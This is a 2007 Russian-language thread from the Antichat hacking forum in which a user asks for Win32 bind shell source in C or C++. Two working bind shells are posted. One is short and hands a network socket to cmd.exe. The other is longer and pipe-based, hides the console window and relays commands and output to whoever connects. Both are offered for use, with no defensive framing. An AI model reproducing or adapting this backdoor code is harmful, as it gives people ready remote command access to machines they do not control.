ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Bindshell src на С++ или на С для win32
  #1  
Старый 07.12.2007, 17:12
4nob1oz
Познающий
Регистрация: 09.07.2007
Сообщений: 42
Провел на форуме:
88752

Репутация: 72
По умолчанию Bindshell src на С++ или на С для win32

Народ есть если у кого киньте, а то я писал писал вчера так и не смог разобраться, какой то фишки не просекаю видать. На перле под win32 нормально работает а на C++ не смог написать. Законнективаюсь но не выводит консоли , потом написал через пайпы попробовал, консоль видно что появилась а команд не выводит результата.

PS: Помню что ктото выкладывал здесь но поискал но не нашёл.
 
Ответить с цитированием

  #2  
Старый 07.12.2007, 17:20
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

привет
http://forum.antichat.ru/thread19146.html
 
Ответить с цитированием

  #3  
Старый 07.12.2007, 21:10
4nob1oz
Познающий
Регистрация: 09.07.2007
Сообщений: 42
Провел на форуме:
88752

Репутация: 72
По умолчанию

Вообщем посмотрел все сорцы биндшеллов выложенные, мля я хз в чём фишка.

Скомпилил все кроме крашевского и ничерта у меня не заработал ни один. Коннектился и неткатом и путти и телнетом. Все абсолютно перепробовал и так же после коннекта на забинденный порт не выходит текста, только чёрный экран и всё. Единственный биндшелл(я имею ввиду на С++) это сойтека из blacksun тот который он в сорцах закомментил. Вот тот биндшелл у меня хотябы вывел после коннекта текст но команды не выполнялись.

Не знаю что делать даже
 
Ответить с цитированием

  #4  
Старый 07.12.2007, 23:11
__mad
Участник форума
Регистрация: 04.11.2007
Сообщений: 103
Провел на форуме:
548128

Репутация: 104
По умолчанию

Код:
#include <winsock2.h>

void main(int argc, char **argv)
{
     WSADATA wsd;
     int fd,newfd;
     struct sockaddr_in sin;
     char *cmd = "cmd";
     STARTUPINFO si;
     PROCESS_INFORMATION pi;

	 memset(&si,0,sizeof(si));
	 memset(&pi,0,sizeof(pi));
	 
     WSAStartup(0x101,&wsd);
	 fd=WSASocketA (2,1,0,0,0,0);

     sin.sin_family=2;
     sin.sin_addr.s_addr=0;
     sin.sin_port=htons(atoi(argv[1]));
	 
	 bind(fd,(struct sockaddr *)&sin, 0x10);
	 listen(fd,0);
     
	 newfd=accept(fd,(struct sockaddr *)&sin,0);	 
     si.cb=sizeof(si);
     si.dwFlags=0x0101;
     si.hStdInput=(char*)newfd;
     si.hStdOutput=(char*)newfd;
     si.hStdError=(char*)newfd;

     CreateProcessA(0,cmd,0,0,1,0,0,0,&si,&pi);

     WaitForSingleObject(pi.hProcess, INFINITE);
     ExitThread(0);
}
вот рабочий...
 
Ответить с цитированием

  #5  
Старый 09.12.2007, 13:17
4nob1oz
Познающий
Регистрация: 09.07.2007
Сообщений: 42
Провел на форуме:
88752

Репутация: 72
По умолчанию

Нифига он не работает.

Вот нормальный рабочий:
Код:
#include <winsock2.h>
#include <stdio.h>

#pragma comment (lib, "Ws2_32.lib")

#define BUFFSIZE 1024 * 5

int main(int argc,char *argv[])
{
	WSADATA     wsa;
  SOCKET     listenSock,clientSock;
  char     ip[16] = {0};
  char     buff[BUFFSIZE] = {0};
  int       ret,port;
 
  if( argc != 3 )
  {
    printf( "shell\tListenIP\tListenPort\n" );
    return 0;
  }

  WSAStartup(MAKEWORD(2,2),&wsa);

  if( strlen(argv[1]) >= 16 ) return 0;
  strcpy( ip , argv[1] );

  port = atoi(argv[2]);

  listenSock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  struct sockaddr_in sin;

   memset( &sin,0,sizeof(sin) );

  sin.sin_family = AF_INET;
  sin.sin_port = htons(port);
  sin.sin_addr.s_addr = inet_addr(ip);

  bind( listenSock,(struct sockaddr*)&sin,sizeof(sin) );
  listen( listenSock , 3 );

  int clientSize = sizeof(sin);
  clientSock = accept( listenSock,(struct sockaddr*)&sin,&clientSize );
     
  SECURITY_ATTRIBUTES sa;
 
  sa.nLength = sizeof( sa );
  sa.lpSecurityDescriptor = 0;
  sa.bInheritHandle = TRUE;

  HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

  ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
  ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
     
  STARTUPINFO si;
  ZeroMemory( &si,sizeof(si) );

  GetStartupInfo( &si );
 
  si.cb = sizeof( si );
  si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
  si.wShowWindow = SW_HIDE;
  si.hStdInput = hReadPipe2;
  si.hStdOutput = si.hStdError = hWritePipe1;
 
  //si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientSock;
 
  char cmdLine[] = "cmd.exe";

  PROCESS_INFORMATION ProcessInformation;
 
  ZeroMemory(&ProcessInformation,sizeof(ProcessInformation));
  ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

  unsigned long lBytesRead;
     
  while(1)
  {
    memset( buff,0,BUFFSIZE );
     
      ret=PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&lBytesRead,0,0);
     
      int i;
      for(i = 0; i < 5 && lBytesRead == 0; i++)
    {
        Sleep(50);
        ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&lBytesRead,NULL,NULL);
    }
     
      if(lBytesRead)
    {
          ret=ReadFile(hReadPipe1,buff,lBytesRead,&lBytesRead,0);
          if( !ret ) break;
 
        ret=send(clientSock,buff,lBytesRead,0);
          if(ret<=0) break;
      }
    else
    {
          lBytesRead=recv(clientSock,buff,BUFFSIZE,0);
         
          if(lBytesRead<=0) break;
          ret=WriteFile(hWritePipe2,buff,lBytesRead,&lBytesRead,0);
          if(!ret) break;
      }
  }
     
  //WaitForSingleObject( ProcessInformation.hProcess , INFINITE );
 
  CloseHandle(hReadPipe1);
  CloseHandle(hReadPipe2);
  CloseHandle(hWritePipe1);
  CloseHandle(hWritePipe2);
     
  closesocket(clientSock);
  closesocket(listenSock);
  WSACleanup();  


  return 0;
}
 
Ответить с цитированием

  #6  
Старый 09.12.2007, 15:22
__mad
Участник форума
Регистрация: 04.11.2007
Сообщений: 103
Провел на форуме:
548128

Репутация: 104
По умолчанию

Цитата:
Сообщение от 4nob1oz  
Нифига он не работает.
руки у тя не рабочие
 
Ответить с цитированием

  #7  
Старый 09.12.2007, 15:33
4nob1oz
Познающий
Регистрация: 09.07.2007
Сообщений: 42
Провел на форуме:
88752

Репутация: 72
По умолчанию

Я на локальной машине тестировал до этого а не на удалённой. То есть забиндивал порт и коннектился туда и у меня ничего не выводило. Фишка в самой функции бинда и это описано в мсдн в функции setsockopt как раз и идёт обьяснение. Короче щас затестил и все биндшеллы рабочие. Сорри за тупняк

Последний раз редактировалось 4nob1oz; 09.12.2007 в 15:49..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Хакер и закон! SladerNon Болталка 17 12.11.2009 09:42
Взлом Unix а silveran *nix 4 21.12.2005 22:46
Bsod экран смерти silveran Чужие Статьи 1 21.12.2005 22:34
Обнаружение Sql инъекций и Css атак k00p3r Чужие Статьи 0 12.06.2005 20:43
Ловушка для взломщика k00p3r Чужие Статьи 0 08.06.2005 16:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ